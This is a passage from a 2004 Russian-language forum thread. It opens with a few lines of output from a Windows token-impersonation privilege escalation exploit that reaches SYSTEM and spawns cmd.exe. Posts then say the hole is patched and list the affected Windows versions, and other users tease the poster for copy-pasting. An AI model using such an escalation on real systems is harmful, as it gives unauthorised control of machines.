 [shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Но Microsoft уже   выпустила   патч    устраняющий данную  уязвимость  в
Windows 2000 SP4.  Хотя  все  зависит  от  администратора  системы. Хочу
заметить,  что    уязвимость   применима   к  ОС  Windows NT/XP/2000.  В
Windows Server 2003 и Windows 2000  SP4  единственные, не имеющие данной
уязвимости.
   SnarkHunter
 
6 - 01.06.04 - 22:31
Ctrl+C и Ctrl+V хорошо владеешь... Достаточно было ссылки...
   Demiurg
 
7 - 01.06.04 - 22:43
Извини (6), но ты бы их прочел?
А так пусть Моисеенко будет приятно, что о нем заботятся ;)
   427
 
8 - 01.06.04 - 22:51
Иногда лучше жевать.... чем говорить ...
   SnarkHunter
 
9 - 01.06.04 - 22:52
Я? ХБЗ и БМП...
   Demiurg
 
10 - 01.06.04 - 22:52
приятного аппетита
 
  Рекламное место пустует


Список тем форума
Рекламное место пустует  
Чтобы обнаруживать ошибки, программист должен иметь ум, которому доставляет удовольствие находить изъяны там, где, казалось, царят красота и совершенство.
Фредерик Брукс-младший
ВНИМАНИЕ! Если вы потеряли окно ввода сообщения, нажмите Ctrl-F5 или Ctrl-R или кнопку "Обновить" в браузере.
Ветка сдана в архив. Добавление сообщений невозможно.
Но вы можете создать новую ветку и вам обязательно ответят!
Каждый час на Волшебном форуме бывает более 2000 человек.
Рекламное место пустует